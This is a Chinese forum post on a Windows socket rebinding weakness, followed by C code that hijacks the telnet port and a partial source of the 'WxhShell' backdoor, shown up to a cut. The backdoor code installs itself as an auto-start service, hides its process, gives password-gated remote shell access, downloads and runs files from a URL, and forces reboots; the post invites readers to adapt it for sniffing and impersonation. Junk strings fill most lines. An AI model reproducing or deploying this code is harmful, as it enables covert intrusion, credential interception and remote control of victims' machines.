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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5>$*#0%"}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ho*S >Y  
}|Cw]GW  
  saddr.sin_family = AF_INET; QZ h|6&yI  
Cf8(J k`v|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sp'q=^t  
`[Kh[|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MI<hShc\  
{hVSVx8ZL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FL0[V,  
>>K) 4HYID  
  这意味着什么?意味着可以进行如下的攻击: yBq4~b~[  
8={(Vf6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k|a{ |2p  
:|P"`j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {.eC"  
Y`\zLX"_m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J:p nmZ`X  
>q4nQ/eP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^!E;+o' t  
:P;#Y7}Y$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 21G] d  
+qjW;]yxP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?=f\oH$  
90teXxg=|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {/ZB>l@D>8  
PDM>6U  
  #include Q >)?_O(  
  #include 1*G7Uh@K}  
  #include 7ugmZO}lL  
  #include    r'w5i1C+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   b&V=X{V4  
  int main() *Cj]j-  
  { `Fu|50_@V  
  WORD wVersionRequested; Y~gpiL3u  
  DWORD ret; vAU^<$D27  
  WSADATA wsaData; bbS'ZkB\  
  BOOL val; > aN@)=h}  
  SOCKADDR_IN saddr; eGtIVY/D  
  SOCKADDR_IN scaddr; < _c84,[V  
  int err; ]Cbht\Ag"  
  SOCKET s; +oe ~j\=  
  SOCKET sc; ';zLh  
  int caddsize; X!nI{PE  
  HANDLE mt; [Zi\L>PHO  
  DWORD tid;   Y==# yNwM  
  wVersionRequested = MAKEWORD( 2, 2 ); i1C]bUXA  
  err = WSAStartup( wVersionRequested, &wsaData ); I-&/]<5y  
  if ( err != 0 ) { d<fS52~l  
  printf("error!WSAStartup failed!\n"); hW _NARA  
  return -1; z[] AH#h  
  } es&+5  
  saddr.sin_family = AF_INET; cidS/OH  
   -&@[]/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (|h<{ -L  
CA[k$Sw*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !(l,+@j  
  saddr.sin_port = htons(23); ojtcKw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P@ 1D  
  {  ,Ad\!  
  printf("error!socket failed!\n"); _17c}o#`5w  
  return -1; (Q#ArMMORI  
  } A7~)h}~   
  val = TRUE; OlMCF.W#3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Qt]nlui~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1QjrL@$>15  
  { aN%t>*?Xa  
  printf("error!setsockopt failed!\n");  YVD%GJ  
  return -1; Y13IrCA2  
  } efZdtrKgy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JI@~FD&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tj{rSg7{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >Py;6K  
B=|yjA'Fg  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QO%>RG  
  { F''4j8  
  ret=GetLastError(); z8vF QO\I"  
  printf("error!bind failed!\n"); FSc7 30rM  
  return -1; >L[,.}(9  
  } QF!K$?EU[  
  listen(s,2); "c1vW<;  
  while(1) Ho\K %#u  
  { e[>(L%QV+  
  caddsize = sizeof(scaddr); 3)__b:7J  
  //接受连接请求 3l5q?"$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $N:m 9R  
  if(sc!=INVALID_SOCKET) 8Bo'0  
  { kZPj{^c:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3_vggK%  
  if(mt==NULL) >(:KEA  
  { tul5:}x3  
  printf("Thread Creat Failed!\n"); )1lYfJ  
  break; &'T7 ~M:  
  } o6Vc}jRH  
  } )<-kS  
  CloseHandle(mt); 'Kp|\T r  
  } @2kt6 W  
  closesocket(s); tv\P$|LV`8  
  WSACleanup(); LW ntZ.  
  return 0; ~cU,3g  
  }   B6OggJ9Iq  
  DWORD WINAPI ClientThread(LPVOID lpParam) O#cXvv]Z*  
  { tdZ:w  
  SOCKET ss = (SOCKET)lpParam; F RS@-P  
  SOCKET sc; H)t8d_^|j  
  unsigned char buf[4096]; vA(3H/)-  
  SOCKADDR_IN saddr; %+>I1G  
  long num; 9~Q.[ A  
  DWORD val; k3^S^Bv\  
  DWORD ret; *Fp )/Ih  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tGv4 S\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,i,f1XJ|  
  saddr.sin_family = AF_INET; /of,4aaK7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1UxRN7  
  saddr.sin_port = htons(23); 7&|fD{:4U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <P g.N  
  { @0n #Qs|E!  
  printf("error!socket failed!\n"); ,f} s!>j  
  return -1; L{<E'#@F  
  } "1h|1'S50?  
  val = 100; |]\qI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  yZdM4`  
  { n8R{LjJ2@  
  ret = GetLastError(); ?}B_'NZ%  
  return -1; :+!hR4Z~\;  
  } CO 5?UgA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'DRyOJnr  
  { jc)D*Cf  
  ret = GetLastError(); _2U1$0xK  
  return -1; |/YT.c%  
  } FkKx~I:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V&)-u(s_S/  
  { ]U'KYrh  
  printf("error!socket connect failed!\n"); DQKhR sC  
  closesocket(sc); LD]XN'?"W  
  closesocket(ss); J&{E  
  return -1;  Ur]5AJ  
  } 9K FWa0G  
  while(1) olQ;XTa01F  
  { k\zNh<^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >E[cl\5$E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6M259*ME  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %hcY [F<  
  num = recv(ss,buf,4096,0); 6 )xm?RK  
  if(num>0) spd>.Cm`  
  send(sc,buf,num,0); Y~fds#y0  
  else if(num==0) S(9fGh  
  break; ]e)<CE2   
  num = recv(sc,buf,4096,0); .i@e6JE~;  
  if(num>0) ECU:3KH>MF  
  send(ss,buf,num,0); ^ 8egn|  
  else if(num==0) gQ,PG  
  break; /':kJOk<[  
  }  A5Y z|  
  closesocket(ss); :;)K>g,b  
  closesocket(sc); UT]LF#.(  
  return 0 ; #Z (B4YO  
  } LI"ghz=F  
;`s/|v  
ze!7qeW  
========================================================== ;]vE"Mx$  
T4J (8!7  
下边附上一个代码,,WXhSHELL VY Va8[}  
zcP_-q]1  
========================================================== g^4'42UX  
sq-[<ryk  
#include "stdafx.h" Dgp"RUP  
QTtcGU  
#include <stdio.h> ewY+a , t  
#include <string.h> ^MQ7*g6o  
#include <windows.h> lN{-}f;TN  
#include <winsock2.h> /m.6NVu7  
#include <winsvc.h> a:v&pj+|<  
#include <urlmon.h> %k5^n0|*  
`?91Cw=`  
#pragma comment (lib, "Ws2_32.lib") K`PF|=z  
#pragma comment (lib, "urlmon.lib") |c dQJW  
$WrDZU 2z  
#define MAX_USER   100 // 最大客户端连接数 NR^z!+oSR  
#define BUF_SOCK   200 // sock buffer T+N%KRl  
#define KEY_BUFF   255 // 输入 buffer V 7%rKK  
1i#M(u_  
#define REBOOT     0   // 重启 m7g; psg  
#define SHUTDOWN   1   // 关机 E3;[*ve  
wM_k D  
#define DEF_PORT   5000 // 监听端口 U]d{hY."  
LF{d'jJ&K  
#define REG_LEN     16   // 注册表键长度 MU%C_d%.  
#define SVC_LEN     80   // NT服务名长度 -~]*)&  
J=| fxR  
// 从dll定义API Da)9s %_4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &37QUdp+p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zF3fpEKe  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |jO&qT]{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OUS@)Tyh  
zD7\Gv  
// wxhshell配置信息 g}P.ksM  
struct WSCFG { ;r"YZs&Xd  
  int ws_port;         // 监听端口 ^szCf|SM  
  char ws_passstr[REG_LEN]; // 口令 Z &/b p1  
  int ws_autoins;       // 安装标记, 1=yes 0=no SA)}---"  
  char ws_regname[REG_LEN]; // 注册表键名 #3\F<AJ<VB  
  char ws_svcname[REG_LEN]; // 服务名 u])N^AY"sj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 50uNgLs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ql3hq.E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~t.*B& A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E@Q+[~H}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &0*j nb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x.xfMM2n  
D CcM~  
}; ^e8~eL+  
` SZ^~O  
// default Wxhshell configuration : H0+}=  
struct WSCFG wscfg={DEF_PORT, 3?.3Z!H/  
    "xuhuanlingzhe", ' DCrSa>  
    1, `N]!-=o  
    "Wxhshell", u-f_,],p  
    "Wxhshell", al(t-3`<  
            "WxhShell Service", E[)`+:G]  
    "Wrsky Windows CmdShell Service", ~OAST  
    "Please Input Your Password: ", tTX2>8Gmr  
  1, :,]V 03  
  "http://www.wrsky.com/wxhshell.exe", {: T'2+OH>  
  "Wxhshell.exe" gH(,>}{^K  
    }; K8ecSs}}J  
b'3w.%^  
// 消息定义模块  (/-2bO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /{."*jK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <A;R%\V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w|O MT>.  
char *msg_ws_ext="\n\rExit."; v\'E o* 4  
char *msg_ws_end="\n\rQuit."; R%"wf   
char *msg_ws_boot="\n\rReboot..."; *"d"  
char *msg_ws_poff="\n\rShutdown..."; 4S`2")V  
char *msg_ws_down="\n\rSave to "; Fi14_{  
[x kbzJ  
char *msg_ws_err="\n\rErr!"; #9F=+[L  
char *msg_ws_ok="\n\rOK!"; F%UyFUz  
N~=p+Ow[H  
char ExeFile[MAX_PATH]; ts<5%{M(  
int nUser = 0; CC;T[b&  
HANDLE handles[MAX_USER]; '+hiCX-_  
int OsIsNt; xrFFmQ<_W  
XkDjA#nx`  
SERVICE_STATUS       serviceStatus; 'j 'bhG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1(CpTaa  
$8kc1Q  
// 函数声明  W>.KV7  
int Install(void); l&R~ I6^E  
int Uninstall(void); 5Q;Fwtm  
int DownloadFile(char *sURL, SOCKET wsh); e23}'qb  
int Boot(int flag); $-Lk,}s.*  
void HideProc(void); NuRxkeEO  
int GetOsVer(void); 6FFQoE|n  
int Wxhshell(SOCKET wsl); KB0 HM  
void TalkWithClient(void *cs); 8 2nQ]  
int CmdShell(SOCKET sock); K?+iu|$ &  
int StartFromService(void); "94e-Nx  
int StartWxhshell(LPSTR lpCmdLine); UA>UW!I  
(j@3=-%6G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0 XxU1w8\V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PHU#$LG  
bS=aFl#  
// 数据结构和表定义 ] lE6:^V  
SERVICE_TABLE_ENTRY DispatchTable[] = TRW{` b[  
{ "CI#2tnL7  
{wscfg.ws_svcname, NTServiceMain}, }1 = V`N(  
{NULL, NULL} 52 ? TLID  
}; pTT7#b(t  
fjVGps$ j  
// 自我安装 2R66 WK Q  
int Install(void) 3J%(2}{y  
{ 4E/Q+^?  
  char svExeFile[MAX_PATH]; r-&Rjg  
  HKEY key; DgQw`D)+  
  strcpy(svExeFile,ExeFile); H`odQkZ!  
%C^U?m`  
// 如果是win9x系统,修改注册表设为自启动 9%55R >s$  
if(!OsIsNt) { FR"yGx#$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f s_6`Xt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gVO<W.?  
  RegCloseKey(key); =+HMPV6yg7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L 1iA ^ x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R>f$*T  
  RegCloseKey(key); 9. :r;HG  
  return 0; G;#-CT  
    } p_pI=_:  
  } ? WyL|;b*  
} 8@pY:AY  
else { lf3QMr+  
<Yif-9  
// 如果是NT以上系统,安装为系统服务 E_ #MQ;n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^x8*]Sz#x  
if (schSCManager!=0) "& h;\hL  
{ <mN.6@*{  
  SC_HANDLE schService = CreateService 0/z=G!z\  
  ( \ t4:(Jp 3  
  schSCManager, =8:m:Y&|`G  
  wscfg.ws_svcname, jYE<d&Cq  
  wscfg.ws_svcdisp, {/d<Jm:  
  SERVICE_ALL_ACCESS, pm`BMy<5PU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *Y'nDv6_P  
  SERVICE_AUTO_START, YL*yiZ9  
  SERVICE_ERROR_NORMAL, 4&]Sb}  
  svExeFile, Zt;3HY=y  
  NULL, O1!hSu&  
  NULL, [\+"<;m$  
  NULL, GIG\bQSv2  
  NULL, z !2-U  
  NULL Y7{|iw(#  
  ); .H;[s  
  if (schService!=0) Vm\ly;v'R  
  { r:.3P  
  CloseServiceHandle(schService); b'F#Y9  
  CloseServiceHandle(schSCManager); 7:iTx;,v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6xI9 %YDy  
  strcat(svExeFile,wscfg.ws_svcname); 2UqLV^ZY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EMK>7 aks  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $d\]s]}`  
  RegCloseKey(key); ^I2+$  
  return 0; mY!os91KoO  
    } #2AKO/  
  } XL SYE   
  CloseServiceHandle(schSCManager); W:s`;8iM$  
} ++{,1wY\  
} wNQhz.>y  
sv}k_6XgY  
return 1; 6jS:_[p  
} #Xdj:T<*  
MC=pN(l  
// 自我卸载 mIk8hA@B_  
int Uninstall(void) a@+n  
{ W`auQO  
  HKEY key; cPu<:<F[  
0i%r+_E_  
if(!OsIsNt) { ).IB{+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NmbA~i  
  RegDeleteValue(key,wscfg.ws_regname); vxN,oa{hf  
  RegCloseKey(key); G!Gbg3:4e5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P[Q3z$I}  
  RegDeleteValue(key,wscfg.ws_regname); ~\ uI&S5  
  RegCloseKey(key); S: b-+w|*  
  return 0; ]dvNUD   
  } m[l[yUw#  
} _4+'@u #  
} E+'P|~>oX  
else { /<"<N<X  
 Y7q=]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B}O M:0  
if (schSCManager!=0) Xx)PyO  
{ `Ckx~'1M:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e$ pXnMx7  
  if (schService!=0) LHJ}I5zv  
  { V@%:y tDf  
  if(DeleteService(schService)!=0) { _'OXrT#Q  
  CloseServiceHandle(schService); }wY6^JF  
  CloseServiceHandle(schSCManager); Lt|'("($*  
  return 0;  :oN$w\A  
  } St`3Z/|h  
  CloseServiceHandle(schService); <d`ksZ+  
  } Jw -?7O  
  CloseServiceHandle(schSCManager); MTyBG rs(  
} : _,oD  
} TAd~#jB9  
nogdOGo  
return 1; Uxll<z,  
} O%hmGW4  
Qf=+%-$Y  
// 从指定url下载文件 on0MhW  
int DownloadFile(char *sURL, SOCKET wsh) r0xmDJ@y  
{ 6!& DH#M  
  HRESULT hr; C~o\Q# *j  
char seps[]= "/"; 6$.I>8n  
char *token; (-e*xM m  
char *file; SAQ|1I#"/  
char myURL[MAX_PATH];  MjjN  
char myFILE[MAX_PATH]; 1ha 8)L  
+Y|1 7 n  
strcpy(myURL,sURL); KO!.VxG]_  
  token=strtok(myURL,seps); R}T8cVxc  
  while(token!=NULL) y'{*B(  
  { 8x,{rS qq  
    file=token; [>MPM$9F-m  
  token=strtok(NULL,seps); agI"Kh]j?  
  } j o+-  
655OL)|cD6  
GetCurrentDirectory(MAX_PATH,myFILE); IH2V .>h  
strcat(myFILE, "\\"); 3=@lJ?Ym  
strcat(myFILE, file); A ,$CYLj+  
  send(wsh,myFILE,strlen(myFILE),0); 16cc9%   
send(wsh,"...",3,0); Qo%IZw$l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /[<1D|f%  
  if(hr==S_OK) F4R0A6HL  
return 0; "kdmqvTHK0  
else O5v)}4  
return 1; ' 5F3,/r  
KFuP gp  
} ^F="'/Pq[  
vAV{HBQ*  
// 系统电源模块 9$~a&lXO5  
int Boot(int flag) AuW-XK.  
{ *hV$\CLT.  
  HANDLE hToken; _G62E $=  
  TOKEN_PRIVILEGES tkp; 9| {t%F=-  
le*'GgU#  
  if(OsIsNt) { vB<2f*U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8hZY Z /T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7A=*3  
    tkp.PrivilegeCount = 1; D\@)*"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zn3]vU!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nD5+&M0  
if(flag==REBOOT) { 8aMmz!S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y<WA-dYoF  
  return 0; >;NiG)Z  
} @ =XJ<  
else { E&_q"jJRi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?cvV~&$gc  
  return 0; r`OC5IoQ  
} ~c\iBk  
  } 3!*qB-d  
  else { L8{4>,  
if(flag==REBOOT) { .Xcf *$.;s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RF|r@/S  
  return 0; %s;=H)8  
} wV{jJyRl  
else { W|I<hY\X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @?/>$  
  return 0; * ujJpJZ2  
} ]fdxpqz  
} 25H=RTw  
7W]0bJK+E  
return 1; tZz *O%  
} %8hx3N8>  
PJn|  
// win9x进程隐藏模块 eelkK,4  
void HideProc(void) c`agrS:P  
{ b+tm[@|,v  
4R&e5!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dm~Uj  
  if ( hKernel != NULL ) p?H2W-  
  { ZP(T=Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )/FEjo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wpK[;  
    FreeLibrary(hKernel); h~r&7G@[}  
  } $a.,; :  
% s),4  
return; z0-[ RGg  
} k"pN  
*a2-Vte  
// 获取操作系统版本 k+% c8w 9  
int GetOsVer(void) FE4P EBXvu  
{ g}gOAN3.  
  OSVERSIONINFO winfo; ? \p,s-CR:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6BY(Y(z  
  GetVersionEx(&winfo); 9.^2CM6l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m> YjV>5  
  return 1; k8S`44vj  
  else Dwa.ZY}-  
  return 0; QZ2a1f'G  
} F['%?+<3  
|Ca %dg9$@  
// 客户端句柄模块 +d'1  
int Wxhshell(SOCKET wsl) n qC@dHP  
{ j9g0k<eg  
  SOCKET wsh; K4vOy_wT  
  struct sockaddr_in client;  8\Uy  
  DWORD myID; 9?Q0O\&uP  
tpj6AMO/`d  
  while(nUser<MAX_USER) go!jx6~;x  
{ &S9O:>=*  
  int nSize=sizeof(client); pp1kcrE\M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \}EJtux q  
  if(wsh==INVALID_SOCKET) return 1; q!Q*T^-rO  
i0g/'ZP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I2^@>/p8\(  
if(handles[nUser]==0) 'X P  
  closesocket(wsh); S '(K  
else 8o\KF(I  
  nUser++; B.F~/PET  
  } T;1aL4w"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f|NWn`#bY  
tBtmqxx  
  return 0; #VU>Z|$@N  
} D`hg+64}  
8\BYm|%aa  
// 关闭 socket _BPp=(|  
void CloseIt(SOCKET wsh) ,wB)hp  
{ L 4Sa,ZL  
closesocket(wsh); @E%f AC  
nUser--; c1}i|7/XSi  
ExitThread(0); ~aL&,0  
} +T8]R7b9  
B"3uuk8  
// 客户端请求句柄 0fAo&B  
void TalkWithClient(void *cs) [{-5  
{ wCw_aXqq  
^<`uyY))Q  
  SOCKET wsh=(SOCKET)cs; 5]F4.sa  
  char pwd[SVC_LEN]; HzZ.q2Zz%  
  char cmd[KEY_BUFF]; kB]?95>Wx  
char chr[1]; >goG\y  
int i,j; 9ohO-t$XkY  
ot; ]?M  
  while (nUser < MAX_USER) { SS7C|*-Zd  
$m[* )0/  
if(wscfg.ws_passstr) { 5-.{RU=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VmP5`):?b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /ULO#CN?;  
  //ZeroMemory(pwd,KEY_BUFF); Ur,{ZGm  
      i=0; "VI2--%v3  
  while(i<SVC_LEN) { r [4dGt  
,nGZ( EBD  
  // 设置超时 @tVl8]y  
  fd_set FdRead; +x)x&;B)/  
  struct timeval TimeOut; h{.x:pPXy  
  FD_ZERO(&FdRead); .&;:X )  
  FD_SET(wsh,&FdRead); GN=-dLN  
  TimeOut.tv_sec=8; ~4=XYYcka  
  TimeOut.tv_usec=0; ZL+46fj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t`G<}t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sHm :G_  
m=qyPY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d'!abnF[d  
  pwd=chr[0]; <I.{meDg  
  if(chr[0]==0xd || chr[0]==0xa) { 3 adF) mh  
  pwd=0; %Zi}sm1t  
  break; 3&5AbIZ  
  } [9,34/i  
  i++; KD73Aw  
    } N51WY7  
YE[{Y(5;q  
  // 如果是非法用户,关闭 socket 9YVr9BM'K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6UAw9 'X8  
} F0tx.]uS  
a~A"uLBR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g<s;uRA4O9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TykY>cl   
KYC<*1k  
while(1) { U{PFeR,Uk  
=aCd,4B}  
  ZeroMemory(cmd,KEY_BUFF); )( W%Hmi  
an,JV0  
      // 自动支持客户端 telnet标准   +{[E Ow  
  j=0; Oz4yUR  
  while(j<KEY_BUFF) { u=& $Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =:(<lKf,<F  
  cmd[j]=chr[0]; Azag*M?  
  if(chr[0]==0xa || chr[0]==0xd) { G[s/M\l  
  cmd[j]=0; n*y@3.  
  break; WS2@; 8.N  
  } UjcKvF  
  j++; x_OZdI  
    } )!g@MHHL  
of0 hJR  
  // 下载文件 ldNWdz  
  if(strstr(cmd,"http://")) { ;`rz]7,*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jGFDj"Y  
  if(DownloadFile(cmd,wsh)) jOU1F1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 , nr*R!  
  else ]X<L~s_*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v\Edf;(  
  } P;[>TCs ]8  
  else { AN4(]_ ]  
LT6VZ,S  
    switch(cmd[0]) { %)PQomn?  
  O^<\]_l  
  // 帮助 3y]rhB  
  case '?': { cPg$*,]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7&*d]#&~j  
    break; 7U`8W\-  
  } PLs(+>H  
  // 安装 Ujfs!ikh&F  
  case 'i': { vlx\hJ<I  
    if(Install()) d1hXzJs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #b+>O+vx8  
    else &d i=alvv1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g0 Jy:`M  
    break; z:p9&mi  
    } U?(+ {4l  
  // 卸载 Rv@( [rn+  
  case 'r': { A =l1_8,`h  
    if(Uninstall()) SS"Z>talw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h f9yK6  
    else QIu!o,B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %tZ[wwt  
    break; CV7%ud]E  
    } A\T9>z^k  
  // 显示 wxhshell 所在路径 7,,#f&jP  
  case 'p': { ~ _W>ND  
    char svExeFile[MAX_PATH]; Jec<1|  
    strcpy(svExeFile,"\n\r"); sT+\ z  
      strcat(svExeFile,ExeFile); ?J's>q^X  
        send(wsh,svExeFile,strlen(svExeFile),0); #u$ Z/,  
    break; A^@,Ha  
    } VQHQvFRZ)  
  // 重启 G L8 N!,  
  case 'b': { B6"pw0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )`-vN^1S-  
    if(Boot(REBOOT)) of>}fJ_p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H'wh0K(  
    else { 6I~{~YvB"  
    closesocket(wsh); H <ugc  
    ExitThread(0); e3x;(@j  
    } 73tWeZ8rvx  
    break; NK|m7 (  
    } *tL1t\jY  
  // 关机 o!}/& '(  
  case 'd': { {p M3f  
